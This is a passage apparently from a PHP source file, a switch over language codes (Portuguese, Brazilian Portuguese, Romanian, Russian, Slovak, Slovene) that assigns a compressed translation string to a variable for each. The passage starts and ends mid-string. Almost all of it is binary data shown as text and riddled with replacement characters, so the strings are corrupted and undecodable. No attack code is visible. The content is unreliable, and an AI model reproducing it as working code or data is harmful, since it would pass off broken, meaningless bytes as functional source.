�`�*�r(O�i�P\$��Ð)à)+1+�s�D�\$��)B�/��q>\n���Zm?ͣ5@±z�p�E'T��VUt[6��F(2��}�X�lDL�W��K�0�*�B:c\$.F�5��@�\"�mGA�4��5� \$����wA�g��:�i�����4����Z#T���X�X�H^��(�O:OLU�& J��c�iO�GB��Z�U\nƵ�L�(�h�u/�FsF��*(�.���h5R�qR�\\!���%���f��|�Og�I�L��\ro�B���B�`��L��6���t�e��e�\rG-Ċ���ߋ6E��K�T/2f\"�ʓ�\nhV��t�(V�h/Ps�<)�yF��I��X5�3�6`�i[�eķ#HB��r �,\r�^F\$�-�Z";break;case"pt":$f="T2�D��r:OF�(J.��0Q9��7�j���s9�էc)�@e7�&��2f4��SI��.&� ��6��'�I�2d��fsX�l@%9��jT�l 7E�&Z!�8���h5\r��Q��z4��F��i7M�ZԞ� �&))��8&�̆���X\n\$��py��1~4נ\"���^��&��a�V#'��ٞ2��H���d0�vf�����β����K\$�Sy��x��`�\\[\rOZ��?����2wYn��6M�[�<��7�ES�<�t���L@:��p�+�K\$a����ÁJ�d�##R��3I��0����(�e�pҤ6C�Jڹ�Z�8ȱt6��\"7.�L�Cb�.�����8���:V ���1-�[�2�R�q;(:U\"�\$���#LV�K)�s)��d\"�Ó&�+��� ���� �Ό��D4���9�Ax^;�t06�8\\��zQI0渍�xD�C<�?�؞�a|\$���_9��^0��XA���ٶ��(�*��tÕ5I����6/8�:�pılk��+�ݠ�&6B�9Yvl6'\r�3��[�C���E�B�6��8�^2#�.,��1��ch6[�9��\"���6��zH\"�J2�.k#^��x.�����l1��0�ፙZ\r�{���2����\0ؠ�t�\$шJr������4�� ������E*lp�|��r�Wb`���P����U��%���(X�~�i%��\\�k����b(�K�T�+C�L4����U�Lj���8۪V��L(1Mg�o[��ܱ� �4m*Y*\r�0���*p�Tfp��)�*\r�z<���1��\0͇�z������#8¼��Y�HP9�=x�5�\0�)�B7���OZ�bT�%�ۇ���T�`]t��/�Ob��b��&����MP�ay.(����[��a4�?�:a��w.�ܮjuBy4��?(�2��(2;%���@��K��4��tT\n�R*g��@tU�Y+El��a{�E��gbOb 8&�ɿ�H�I!Y)���E��hBp���JB\0 ��)f>l��H\nL�CAP\$��!3��\"\$�������M#%�;>TFI�Q8g:G��P�,kJ�9T��:A�\n#��p��H��-?K�� ��\n��\"A�� \$Fj��vV��ޙ�\\W��6 L�9Bf�+1?�����xS\n� �Rx�� 鹭:�@�� u!d��5��-C�g�[ػ&�`n&\r�7H�h��V?�7�����\\W��4��\$J�\0F\n�̞�r���d�>.�9@䅍9\$@�l���EPlTg<怠��\0U\n �@�I�@D�0\"�二&��^��pS�� `�J����\\�xpc̐2b��i�b̢f�E��n �f����K#�\r!�',��iso�F��\$+BSC�s��Jb��%3]��9U��%���R��fP�g�P�!�=+T�\0�~���\$j�X��T���M�4T��a�}�1̨\$��6XQF�� ���܊�']ۘ3\nE�bH+�T��*�� �Z�{&�\$d�|�<ܙKn����c2�-�C0��1։��Z�\n���i1uS�����\\�Z�8�9��0�FR�ɛ�ygK䧃����#|����9���vdH�75���ɬY�`I���d�ł%�.��4�KB�Aa 2�ꂝ<���������y�0�!����t (7��o��^N�\"��0��K��F{&0̑\\.9O\",��#�\n)�?.e��%9��P�WX3>X��!�����1\\���d��s�aYQ%�0�Cƃ�:w�^Nn�8�\0004�lȣ���(Ɣ�Ѩ�\\�J�W3�;�8�d�ȃ�1G։jQ��C=:G4jB�S0�`n\$�2��r�Xɸ����I�� *��Vk�K�1lD��ɗI)�/7Os�f����ͦШ>3�(�}�Tu�u@��x�!FZ;Ƹ�\0A[����\0�p\0Q�u�/E�Ā���X�\"�����8�ϩk��BdWf&t�^kނ���!Q���U!^�*�\nx]qmvWw�\\,'D3��\"o�V'%|+��J��V�\ns�Ԁ�>���[�K0���z��w��[�i��Y����M��̽�b�,��� �9����jp*�{~��h�n��x��#���^/�p��N��s%����}�<mY��l���C> ��S�@�/\$�@��.t^}�ḭ�L����%l�<�sߏ�8��#\n�o��m�\r�T�NW�Cwz�v�-\\?&f�<g�\$��:�p�Tj��J��[��?ܠy^����&��[\0�.O�\0�L_�Dc\$(��, 儴N�2�%T��� J(�ߎ2�p8:�<�����lE����m\nc�x�PP�&O�F^&�Pd;�P;.h#ľbc�J@卜K&VaT_��-֮- ����;\n��\nР�P�P^9C'��G&v��%b)b����\r�1��c�_.��u�e��\r�%�Z�p�%��˜�n<��\0���\0��L\$�n0ܺ`��%�Q8E��@�0�в��9���iJ����zp��Cf����;�@��0�Of&pϏ�W/n6M�*e�Y��TcSc�ύ:3o��zq�2N�sd,<��`�=f\\bBAM�C:����,���b*j\nJ�ޘ|jR\n���p�f1o\$'���g����\nql��#�<R�v�����,�`�F�b)#�lZ� �u�����/G�%�p\n�x�6atb�.@���\0;�r�#p0G>6,���%�#F6E�_�&祹)�{*�6R�0��G(Ķ0�5�d�{���|��+)r�Mȵ2��R�4�PJ�ƙ\0��Q������Z�����2Xj��Cm�\"�Ɗ���1�|��r��oJ�:�2I �3���.\$e\0��� �/\$T1�8.�๊�ڂs*/�1*�<ʴ��6��^@�#p����SƵ&a\0F�C1{\nf��p";break;case"pt-br":$f="V7��j���m̧(1��? E�30��\n'0�f�\rR 8�g6��e6�㱤�rG%����o��i��h�Xj���2L�SI�p�6�N��Lv>%9��\$\\�n 7F��Z)�\r9���h5\r��Q��z4��F��i7M�����&)A��9\"�*R�Q\$�s��NXH��f��F[���\"��M�Q��'�S���f��s���!�\r4g�䧂�f���L�o7T��Y|�%�7RA\\yi����uL�b�0՝4�\$�ˊ͒rF��(�s�/�6��:�\0Ꞅ\r�p� ̹�Z������h@5(l�@��cȕ�)�Ґ���*�@�7C�ꡯ��2]\r�ZD�7���P�E��)��#���âc>�\"✖�â���,���1k����P��<p�\rFb+��b`��8䞍�Z���ь��D4���9�Ax^;Ёt4��#�\\��zWGH漍�xD�C;�=�؟\ra|\$���k�!�^0��sq��\0��P�(�K<�ڌt��ީ(���=OL:���r#b\r4 jH�ٖrc=VE���z� 4�R��c�7 As ȸ�7���\$ U�T����m�6C衪c���h�C��]����ב�S�m���b��.(4��ͦ�h��b�Bx�\r�,�7~��S���J���\n\n�Ԋ� 㶦*6%,U<�c}{>��[��S�OØ�Y�{�/�3�붺`��輻\$l����vL[�0̘�f4���ԉ\n����^�c��S�P�0g��n;~��bY�g3mSX��cx�3\r�\0��,�t7�)��2�ƅ\$c6��o(X��]x�3�3kVtE�2��R���x֕��)�\"X��H\\L�k����ۅ%��b�_;����[C!L�z�6����3P����O�LPga��\0��O�� �9g�ù|Ve�8���ө�O �>'�\0�� wP��D��Tr�A�I�,��tS�yP*'�Ӓ�U��+d� ��<��7'�q��|7���6<�́�>�ŷ�&���\rV�u(F�F��)(�@P\"�%��@PVI*,�T�2B��(''�9�FӚ)0��@�NB��:21\"�Q��iʕ��T�*�L���L�7&���]Ȩy5h��f�8F���c�i�@A����+��RV'8;��xS\n���3�z�� ���p@� u!����9*�#��2��X0nDp �N�� '� S�58�Y~\rP�7���\0F\n���I(C\"�>�Y)�e�k�:4�M?�.��A���<'\0� A\n���ЈB`E�da#&3��W��F.D(�(���g���2���Pa�A�̝P�i�)GK��5z}jc(1n�<��Q�j^r\r���i(^̇Y���9�ni�s�?6!QI�e��M����V�ÓIE�H�B�Q�V|����)_�@T��\0�[�U���s!J!F�v�F��V\0Rj��q�{)h\n�0A���ާ� :1f5&���Ãǭ�2,����P��,@��K�(zH+D4�P�c�b�N1�1vj#l�@�݇h�K�\r��)���C����: xۊ�;�����¦��B2U������P'�ɔ�\0��i�A��Α�r���0��\\Mv�ȩ},��C \0�����%tk�@�i�6�(�g!���J�4k�Ӯ�g��Y�]�CL���VC�wx��dd�zd�%w�ja�A�7�/��L��P�F�0�sӁU���,2#�NWV3aS5��������E��<�3��\"��;������f+>�M\r�IF*F�7�r.�bQ�&ey}�s;��)��ۜH���A��0� R8y��|Y�D��]`�I�w��Wh�L\n�L&�\0��\"Ӄ�H<d,��:&L6L�و�\$\$��,���%5�C�8�C-��yq��Z�ٵ�d�'�<x�7<�W')n%�����G��ōTN�%N�D?��8��F �V�l�_���S&���h\n(��YX&Th����ɏlMY&*u�qj]Mue�����qu��\r|(�pŮ�^b�DtV�L�(є�7��X�kr�(��ַ���xr]Sx�8�zƪ�]n�o'�k'Z��.�u���[�6ꡆ�Ŏ�pP'U���w��y�9���@����'-�CE�1�a�/h�|#�|c���/��%��}c���J+�;�u�/F�����j�=���\n'|��I;D�堓|/�A��k�{(*��9�rН��&V�{�~�Zg<z\n�{�H�49�s�nT�B�Z��?Ke�EC�����e�\"د,�a��G���kإ�~�`��#:�n��A\0�\$�.�P0��jĮ��ZK���(��p�@�m�P�4NPF!/w��&C2:�b£*,!ZbL(��E����T̢&\n�6�k�����o,�.�ᰝ OcN(�.ڔ,c��j���\$_�gB���Љ�@��G\".�>r#F��MTJBh `�P���WVP�%�u\n���\nB�*1�P��d:ݰ�\$0�ޱ1\r�&�?�z�Q&*e��e�m��R��Z\n�_��Q\\���K��t3`� ���8�D�_Q6K'�n�6K[Ȱ \r\n��d�gH'T]J� +\0�E��)J�\$n��\n*��eG4]O��0n`2�4\r�1E�I�>6\n� \"\"Vb�4.��L��Ȇ����>o\$0=@�i�\r&N\"��CF���?lֳc� ZeBr���\0��z�<\n���p%P���\0��˭��M��1�'����'��̂23�<\$DRbN%#0W�F��C�Z���G��/\n���'B���\rc�2p�ب{'�m�\$/�\n�M��E�(��MD5'+B�NJ托C�@�\"������7�(�xw��i�+s�\r�s� �.\0006�p����ނ�[1.2�!P�C2+�3��6>M�B*b��@�y�L9�\"�\$�@�&�03&����\rd�b~�jζI�r/��+��.#���G+M�\"�dDe�h���0-�3k /��+RG\0�1�[�Q\$bbY��s��+]42�\"%ʄSC�C�TG #��C�~/��";break;case"ro":$f="S:���VBl� 9�L�S������BQp���� �@p:�\$\"��c���f���L�L�#��>e�L��1p(�/���i��i�L��I�@- Nd���e9�%� ��@n��h��|�X\nFC1��l7AFsy�o9B�&�\rن�7F�82`u���Z:LFSa�zE2`xHx(�n9�̹�g��I�f;���=,��f��o��NƜ��� :n�N,�h��2YY�N�;���� �A�f����2�r'-Kk{3���>��1�`�����L@�[�Q2���Bz2�˨ބ��:�/a6����2�ā�J�'����&��::�8�0���Қ/!%c��1�P �4�l^���K\n�-4 A�@P��%�ˀ�\$�n80K�&\nH!6��(�6���Z��p �0���t��LBq\r���B�&�� P��0�C3��:&\r�<&� ��7�:%�C�3��:����x�M��R�DAr�3��MJ<CK��NS�.�\"��6#p��H�82���|����7���Є��� nk(2Əc: �Q#ܬ���:��@җ%s�8<���3r:�&6&�R��5��p76L�Kd�������� P�V�쟅Kw\\&4��SȘF�`�lS:\"�666+C��:�V������0��PO&��4,;��]�Sռ�\\#8?�`�#:�Ѹ�j:�*����h؛^P�WZ�Vx@8���+��n}�����r�S�]= `V�x[{Pʢ��~�o��¥�ԃ��,(7M�˧f5��3�(�ˎZX��=�U�qS�]=��F�:�,�V��Y\$�أt3�m��(\"c�\n�{qC�0s@:�j��9���@��c��#��B2��R��b��#YC]I�8�17�pA*��C4����?G|�F\r?�V �7WeА����sh��= �HA��\\�h_ə0+�:�КJ�3#�9�r�KpEg��(�@��\n�RjUK��6��K/d�Q�Pܩ�HiUj����U��V��]��ְ�(�t4,��|_3�+J9(uִ�0nrOL2�&�N��%��F%�i��!�Q��b�9�7�^12n��!1��<{�AR{�\n���Q�x!n��i��3kh����M �E(�y�U�kQ�Mr�!RX�J���A��^ �X��d��J�_�hІ�q�I�l�`�hG�:T����d�)��0��<Vj(a@'�0�&\r�P(���B�Ғ�(�� ���[m#r|�˩���4�Fp��d�C+��h�4��6̈́�%f��_`gY���!SvK0T\nrc>�v�\"�-���9�BQ�!�D\0���I�Pi�&�ڸ�#:�����l�L>��(�c'���#�vP5F��r\\@,��5�bC�g:�r����%1�γ\n�I����⢠D��\\i�1e�&��YS���.5=��7,\n�&f���6�a[��@�}�:[\"�Y%�����(���FT�4�����A�k�A,*@�)2ª\$i%�@\$R2��_�{K�)io�����8!��)��O\0�-3����[\$\r�)��\0Ut&g�)�S�^���F���t�WR�7a�;�@ʺ*� L�*]R�g�8x!�Ž�;�1�:D24�[�Ãz���7X�s~&Q̙��>��n& ��aj¼K�g���y��q@5}��x��Q�H�-�#�͂3�1I��pɀ�yy���I3��);�J���&��lM�\0�@�BHlm���m0�Pps�|��v.&Ml�u�e�b&�Ax ��S���e3D+��(�W�X��9�I���h�&%rp�Rg��Ɖ2:,��U��m?]��7�c@��N0�h�m���κcM�]����#Wh�qm�S��\0)�i�������{��K���^�r��vV���+�0�\\\"g��i=dޖR�|WRP��4l]_�BE���X�A%��0�+]l�Pބ��� ����n�Q!�̞'pZZ�f��Hb*!�[�i��&���@�jS/�5`8����q~F�\r3���>E,lW�ϛ�_�����fS��Y^���)�/.�����6��T��?oy��3��-F��7J鄰���`����iy��^eu��I=�pP��jlŅ�Ӯ\n�Xi��p�,\r����s�2f�݀���r�by=I����;/ay�Z���OA�J�@�2qԺ�-b|㗕�_^��������G��\0AP�T�Q���76w#�-�����RP�ƽ�x�\"�����5��M&e�� %���{b��t�ۊhu��t���a��ώ�o�a��¼K��j�\"���������L��`�zP��6��L+\$�%5���F:� .`�-Ȧ�\0���H�K\0��6�����;l\"�����0��Z3�N]&\$�o��Ik�����b�+ K�]�5\0/sl�\\����f̢Q&� N���r�p��e�ib��l،�\"D&�z)FpP@��\$<�ʇp@�d�㢮�c���@�;&�'�gC�:�J8m�F�f� �������/8ȑ0FOo\r�Y�/{\0K�#��n�\\T�qJFG4�Ze�gB��ba��&��\$O�/&bAV쬤 ��AwP��{��Q1�Oo;��71���x:�q�!����A7�vDo��?M���h�Cn��\$���G�=������*�\rOa� ���W!\" ��\nΑn��M�t'��DЀL#��@����M� �\$RH�b� �}��%I!\$�]\0Bz @uK���C:\n~c< M�nd�^?E>��H\0���2�JC)����y�bv�YC\"&������!\r6�c�V�l�BD���\ro�:���P2Ҡ���'�\"�|�\r�V���\rm�7\n���,P�&�xn�C��\r��+C&�\0@\n���Z,\$�ī\rbY �Œ}':��q4�L����Rԧj#˶\$gZZ�#�4tC)\"��l䪺.�<#4gN�1Hذ�]%�V��j�D�(h�8\"��\0A���zNF�/�&�p\0)C�?��Y*~�ÊN� �<^��^j�����A�>e��/��Ά2���� �F�?�'��b�o�>c*)�h6�&|�!<+��'�\\�[D�f6�J���Ha�D;�6j,aEj��Vt����b:I�j��}d�^��H+B�Ζ@�0]O�/���1���NBc:s���\$,�0\"��GD��@��J�JahT:1�������.fb:㤖�bl��� @ \0�@� �t\n`�";break;case"ru":$f="�I4Qb�\r��h-Z(KA{���ᙘ@s4��\$h�X4m�E�FyAg�����\nQBKW2)R�A@�apz\0]NKWRi�Ay-]�!�&�� ���p�CE#���yl��\n@N'R)��\0� Nd*;AEJ�K����F���\$�V�&�'AA�0�@\nFC1��l7c+�&\"I�Iз��>Ĺ���K,q��ϴ�.��u�9�꠆��L���,&��NsD�M�����e!_��Z��G*�r�;i��9X��p�d����'ˌ6ky�}�V��\n�P����ػN�3\0\$�,�:)�f�(nB>�\$e�\n��mz������!0<= �䦖��nZS�L�B�A�zD��;�(P1�W�j�t�E�#\$����1�U ,�T��#�ⶋ#�h�����五�Yv���j�0�2�LZj��n;���+��� f���I��A���Ph�҂��\$����2^\$}\"�9 ���p�1�a�I��B�<�Tѡ\0;-�\\Sq�ڼ�uz��-J�L��ʢF&O}&��5q?C�V2��)�56d+R�C��<�%�\\����GQ8!\0�9�0z\r��8a�^���\\0��h�7��\\7�C8^2��8�:a��7�!@:8(�:]��6#p�ƃ��\$-�(Ga�^0��UV��K�� �;��H�\reA�v+���&\r8b�Ȳ<}e��Z�:S�l@&.# �u�̆ź����gD�I�L&K<�?F�v��+�C9W�A\\��J25i�j�{�p�ݿf;7aD+��_�\$���H{r�̨� �q*~��S��M���S�ʌ���������m?&�t��iU1H���Y�ֆ�6��kӕᦖR�YW%�T���=U�0��T�K�սI�fr��}ѠM��{�M���D)q�7E[������W�-�uBs�y�`)��Z��:\$d�����ZH)���s���K\\�� ����l��kE:\r#T�h��k\$i�,\n! �GP��A´�`�a�CA�?�&�T��W�=&=�2+NK@-PA\"�dld\0?�E�³X�O\\9Z�̆��2�ZIXI�:\$�m��bg���)cF��9TJ'���s��̽�G�:�Z��@3s��! Ī��pLc��(/��Uvwˁ��Ї�3� �p WQ�0�� #�}D��(H(Bm[�Ȑ�\$]H��,\$\\</29�2���d�'�EС�2�QS���E�Fv�+��E�>%h�+\$:�\nY��l��̍B2�)��\$�<��d�:�ۙ�#��: U�T�1caL)`[!�q�+l���tL9\$�2�nW��+�\$η���_�N���6��B�H*xOR�\rOC�!qANtyQ�lW��4�J�.9�z�AȒ\"�qQ�\ni HP�x�@s�r�j��x�ȵк�b�^�z/e��` �0f`na�@�&(Ř�\"cLq�2DCY)MI�_��X�a�fL�bHfr��lj8�MWd� (�,�^��PO�<CHR�#WZ�i�Rb5�<O*G\$��B�<l��&'f��Ħ��K��V�1BU�\\���e\rD?P ����S���Mg��ҟE0ݙ�X�|�,��\rHXD���\"Jg��|����J��/.��>�;i�,��szŘ'�ă�-�\\ˑF�/�(JI���R�LR�D���\"�v�[@\"�ð�I5�K!~��L��IORF`%�\nԑcp�3<�MNkh����פaA\0P �L*@x�+�\nL1�_ׂ���!c=�DET�y�l �7^��bu]ȭ��^B�U�!���u�ɲ?B�ē��Y�{!7%&�ӝz�A�Bd��g�9/��X�\0���:���H��'߰��ٞ3�P�h�]0�3]fƈ��������b(�ŵ��1�R�����j����#kE��KtUv�&Z�]�����ā��Y�}5�p��\$p\$H�˝P����2� �֗[mU�\r�B4�#7��dEMq�����+�|��2�,�Yiع^�7m����#F&��R~���'ȡ���YJ�7�A%xt�����%��q�\"�)�W[���d��**ծZ)��.@�r���q�6���\\�:���#<>i���p� ��F��r�W��l�����������D�xpLS>[6�*�r���Z�\\0�.Ȫ�u�kK\r�� �[\n2�W�l�\rUռ#��M�fA�}`_��nV\r� `��J3ĖA�r)��m\rm2\$�����(��N�Ҭ���O��>G�a�}EɄʲ�{.��7�٩��[3�b����:\\~X�2i�pĚ��K�nw��������)���\$懊��K��Io���V�պ+�]5�@PA\n�P �0���B��0���Ev�ż�Bl\$�.���#X�ā0 �\"F��p+T�b@p�Q�q:WX%�<f��\$���z�N��N0 5\0&��Z���0V(�Z+�^�NBD��+.q+����`�\$ND���VE��z�(~@�h���+�\$p�E���0x�ʏ�#����ܔ0�HZP܍p�/j*;0�\$��p��<�0��f���w��}�@�C��\"\\&%�v�B�Ї�\\dx�0N\$'�&\"YO�MQu�H��\rhF�4�\"�/M-Mb�=C�!���Qd�QNk����~[MT����)�\"q���'FJnxp�4I.Jt�3���L��8�j��20m�0�0bR�\n�b�EcM`�MX}��\"N���+R��\\.��p�ZG�/�\0�q�O�Z�.Z=rZPb�R&�R�0*� ��.셍y\$͠7*�n�\"��%��PN��a\rdM�jP�n|��5���^I�~Z2��RP�rT0C�\$���It˭�O2�m!�\"gP�M!G��;��*z> @4}�@&�%'pq�����a#'ސ�!-�&�K.�ťǓ��|��/r�� �F㨟\$�p����R�Pe/E^6��.��N�J@�֦�S3�S43P�31#�4i��h.2EB�%��=p��°f��o\n>E�.�P��6�\0�o0��x�a8 a#)�#p�J��6��,Sq2��C�:S��.QR�-��+q�oXD^�\rD��Mq�P��>�����c>�Z>P]?�?�`�)�@RI.b�,�nBb�B�LѤzAĨ���=�TE2�^�G���8�D�0�DuL�\r�q��/�ڴ4���O�5�?q*���ZT\$B��0i<NGꅣ�@���AOd�Nϭ k0ϊm�,xr��s��N=�t�Gl�>��l�}>�;R�O\n�L͋1��/��L��!�NM*/3G;������L�@��g%Dt��\"2�t���N58�3R�QL�Q�kO��O�!KO(�sSDQP,�uJ�O%:�!|r,�(A\rVBBB����ع0���@H+K��s�7�;�N#X��<��\$3�@t�Y��ZM�1�A\$�D�њ�bx.Zw/'\\Z���W4O�\\/�xC�|��PR�]O�7�� �1H�J���RXO�AWWe84��\$��AS�N�A25�<Mb[��`�Sa)�ak��O�:V (�4i�x�f~��a�%!Z��25��cH�c�P{�=�bQ6@Af��Ք%gV>X�ye�r`PU��S��0484�PB�ff���r#1��C�ft���1��@��)�kv�R�=?v���-6�A�?k3܃oyl��g��|!c�y+�Q5YQ�eo�e/CA�%mWg�h�@V�@��rk�q֏A��Aϭ?��9�bֵ�[\r�qs²����M9M�0Y\n0�Sv��0 �v�|L0����c()p�Wh\$wW�axJ1wU�x�<.�%y��{�R9�T҉�7n�&�Og<����ev�W��o�N,�ev��/}�y*�#V�w�Ӈw��s2��Ӄ+!�W�f5\n�;�;�\"q��#�����a�)�S�e�B+�d�r&Rl����lq*�!�\r�����3�BMvQH�/���2�\$�M�\n�����J.�p9e�=y(1�ǹt����.i�f��ъzC��z&�����bK�(k����k�n���J�]*��K� a��\r\0l6{��Tֵ�1��W�����ji�TPgj0����6�5h6MX�ddtjrU\"����4�3q�8&O���6kd�ͬ��T��2,�1D�dr�#Ԯߒ2�O8;GU+�)&h��j�S�m@���ޢ���Q�{Cb����y�0Ì��+ـ�^3�ޙ1=�٣�2��t�u�Pή��:)�IDh�!���D�i���e�w��+�W1M��Ll�����1�dDJrz�`�Ҧ�y*�erD6�������x�e%L�����՜X�yK�4�\r�Gŷ��in@ܷdE��L%�=�����V�m�R���LrN��m\$:vKhv�v�ggμ�Ee-��5Zw���p�<:�j";break;case"sk":$f="N0��FP�%���(��]��(a�@n2�\r�C ��l7��&�����������P�\r�h���l2������5��rxdB\$r:�\rFQ\0��B���18���-9���H�0��cA��n8��)���D�&sL�b\nb�M&}0�a1g�̤�k0��2pQZ@�_bԷ���0 �_0��ɾ�h��\r�Y�83�Nb���p�/ƃN��b�a��aWw�M\r�+o;I���Cv���M��\n����Db#�&�*�����0��<���P9P������96JPʷ�#�@����4��Z�9�*2����Ҹ\nC*N�c+��<�Kd��cY�T����<�F!�c`�����\"�0�K�`9.���(�6���2�I��\ncʳ��s���@P��DlD��P��\$��ۭ���4�b`9��f*NL�4�lޜ��Px�\$�(��C@�:�t��/�j�Ș��4���\rӀ�7�X��#�/��5�A�6� Đ7��^0��xA\$�B6�5Ú�)�\"`��%\"�U9A\0�Fb�����%�X�)Mf�#CB~�[��۰J\0� �Bv�7c\\f��\0Ă�M�{_�z��SZ;!á�](�\n�P%��ͶP�\"�քL9���PC�6���:��P�f1�0�U�s�3�;���w|�9@P�2A�z~��V����=(J��XԖ>\"`���*� �y�g�\r�eF�)���U!�(@������<�dn�xɽW3�ذm�-�V���\r��en+��p�wT�vtϾ�#�X'��\r��^�@\0P�<t��8Cu���p��f;Yel��d��:���`�3�e&���\$�P�`�7�/X�<�x�:�p��9��@�.��X�^��3�+�A�_t���@��\"r3��{`\ri�@!�b����;D�c���D�k#G�=3��2ny ����*m\$!ٵ�#4J��S������x��O0H��Rh~C����80��WH�pGa�;�5�UÀic��\0'�@�T�P�%E���T�rR��K���Na�TqQ\$�uR��k�VLI[+�t��c���vJ�C��bP�놕>���'H��,��D&�ܜ�rR^K�}3�v8�P�NA� g4�_��2�1���B�b��H��#El�<����g���bS�B��DŽ~N4�~笖��b����\"B?iJ�<\0G@^�x+!�N%!\$���<��J�4l�a��m\r[,���\0�~O�A������� XS�ڶ��II�<�����@P �L*,�4��倴8P��N���Z#���RP@f.a�����[H��M��g����Â��� X�2w�b��F\n�@��gά�%X�xĮ�\0PC��=I0�OȄ�-DL�c�\$\0PO ��*�\0�B�E�5�\"P�kJ�-� �0f�듕��蒫�J��@FaY��\0���<��c�~\rS/\"_1�dIк(������c�ne͑gZ�IHDrn�ʽ\$�+%�P��|�{�m�����n�C�]kJ��Z�{�9^=\"v\nbP��\r-�:G`�cO�U\"�8+�:���H���S��\$�u�M��a�woHOP9�%���Ʌ_O�P�.�C�HzC�\r#�ؕ��c6A���KfL�/���z�g?���`%�b�(wKA��.K�`L3cM\0<\"��NYuŘ�2��TPa?\\��X���z�u\\_U���g5/��֏���Z?��Z?kbq��ed׀�����(\rn\"��G'��F�B��2*^�K���@�BH�\r�����o���Ҡ2R�A�;�T��\"�Ay^_ff���f\$I��P��J+[t��\n��A�A�C�ߵ�1Y�����N�'O�-���`���ӫ ̅E�����f�=���;�5�7\$.`���SW������Hs+\"�f�rĈ���T� L�ԧ�O�'����{�_�M�&7��>�in]۵�ƌ=�t��c�jY��4�M��P�����[Y'J��\"�L���lN#�)ZU9:���T�:�&`�;�y�%#�;���OJ;/�*A�c�`�LZ�T����Ϣ, Ta�4���2iF��Ö�*I(8�x��nwC�� eڀ�&�ב��+G�\0�����)�ۯ��w!E )���kd���x�W��Nӵ-�ya��xn�o�yi�q�XD\r�%\r�jRF��S#L�E�H�4\nr�tx�\$2��X��#~�6.��G�,�e^�}�6zEO�s~O]�Hc����� S�]��\$�e|m|��r�R��:N{q0�6����;ڵ�s�������ĕ�]��N�*~o�`�1.�>��C��BJ����D-T�����ث��c��p/���FB��`��mb�͏�[���\r�ծ\0ؐJۀ����j�C��Ϭ��~�l��pȰt�y0��AZ@�smV�&�NDƠ�\rE�E,��\n��`��C�v��We���fD��6%�~��EG�&e�A}\re%���~��V�6PB�'��B���6m��E���,���(+)B\$�l���]�Bln��k�%�+0�aLFĦ`�n��x�oF\\qJ�o���+|\\I���(�7�~�l�<qz9p6��i���\n&�.�:���q�(c&t�9q�f�.�L�a�>A� bLŞ�F���\"u b:IBc�P̐�L���PS���2�ќ�O��{&`\r+�pOQ\0��[�����e�!��(��]o`sBJ`iFE �J��'��/�� �A�Pk��Т��`'2e�\0�N2o%'&�4XRO'0a��rY�Pa�� �Qh�rz\\�\"gRa��.l�)O��ҧ+l�\"�W �+��*f�R|�K2�\\��dZ�wq�>��D,�ҽP��`�K��'��Ks�3/��&��\0#@<��\"MI���rD��1��z1ڤ̬_k�z���S��³I\"\0����5�B�IK5��n b@��_d:\r��J��4&���d\"��L��!�d'��9B4��2\$��B9b'76����\r�V\rg�\rg:@.V�Z8{�\"l*:D:@2�%����0���\n���q�#c��)z%�K�Md-����Y��6\r�@ʓkBD��ub**�<#�>�gjv�& ��X\n�N�FE�^�:��f)#d`BB�/r���q\n�tcS�\nq�^J�F\$~� ��/��It�^����S\$i�I\r*�lP�6v�2-�C���,zg�boK���~�FV�1Mn����Lc\0'V4���\r�ລ\$���0gă�IE`���*,�3��)�J\n��(t�/ψŇ��0RCT5�0�4V,���s�&g��&o]U�\ndIM�9#sd1�T���Ftвf�\$%&�N��/Xk42f!N+�g�_(�RMH\$��9���t!�� \0t ��@�\n`";break;case"sl":$f="S:D��ib#L&�H�%���(�6�����l7�WƓ��@d0�\r�Y�]0���XI�� ��\r&�y��'��̲��%9���J�nn��S鉆^ #!��j6� �!��n7��F�9�<l�I����/*�L��QZ�v���c���c��M�Q��3���g#N\0�e3�Nb P��p�@s��Nn�b���f��.������Pl5MB�z67Q����>�g�k5�3t�r�ρD�ы(�P� FS��U8F���zi6�3�i�I2��sy�O����\nE.������%��k��\rk��8/�)@������8�!#\n*!-��Bj\n�D�8�7��(�9!1 ��#�k^Ҡ.��`�<CP���ZEC�@K4,�)�\0��P�֍H�'(��x���(��C@�:�t���6Ѳ�9����3��Ø�7��xD�DL��2�B5�A�6��Z7��^0���7��C��2C��\nb������� o�薁B��5�)L=�h�1-\"�2�i3�3��#�_�4\"�%��{�_����I������0��Ԓۡ�o��\"T6(�+A�P�>+���(��2�,��#(셨м�0��b����U��#�p�1�2��2C�m\n:n��\rj0�'N\"4��#l����S�˜.7�����*����`�e2�ƅ���{R��Pȃ�C��Y�Mj�U��i��*��Y��.M��꒫��r��;\r�;��@���.K��ꐳW��CK����5��1��3�Ҡ���\$��Tr���\r�X��O��Ǵ�c�͂� �>�Q.0�m�il��ꀅ�S�˴��� k�!�b�����=�\0̍\r�,D;�\$֎�|�)&���#�U��jX6*��?#/S´�D�-��\n^&����Ø�>�(�/^�cH*cL��4��ڛӉna��9't��~P\n B@�\\�SQ�=H�⥔u��Oc:�J!\$ l5ʕ(� 7��Q��2kW\$\$Ȱ7�vZ#O�VI�ކE\\~��Rw\n|��ICA�4'���\0()\0���d��\r�ov��)&� q0&D�F�Ӱ�I >�ȢxM�{��Q�#���|��~��QÚ�\"a�Œp�}�A?Ta�C6AC�\n'�����`S�S��1�Fh�+�3/H���v��:Ί�@'�0���-\rGak(����rȏ�%�%�9�R*���C9�|�`@�` i8�#\0M�0T�,���O�Pf��P94蕍�&\rf�:��uCI�`\$V�3�j�u,���V@�y'��843��_��S����RFG�)!G��2Pn��J����F�k6P�y�V�J�4F.4��M��KM䗤�B��z1��?8����!fkmu5:�q��2a��.U|Fϋ���0��1:hd�@�wI��P�_�X�ɽB��`�+(����'�ҵ�P�ɚ�Ah�O����8��*�4XzUFf\\1���\"�C@���y)p��c\0C�����X����L�:&���bܽ�[�m�h8��=XD���2n癹!7�G|_.%\"���|�aa^.��#� AD`�͙g�JmU5����{�S/�ɺ�����A\n�P �0�\$ˀ3S\\��\$g�=#@��8R�n��{~&j�:�^Va�0�\rp�J�0����U���}ou�W�d�@d|�9�x�\n=��F�\0�e�qT�Ř�\nՌq�ӸQ��3����i���'�c�Ÿ���jG�q�K>5'��v�r�?���e�=�2�H8�5(��p�g@��:�ie\\�b;��#,�@��nC��2���Z��ФS'J}��3��٬�e=#�_T�}z\\�45�r�.:.hpA����T��!Q��T'klP 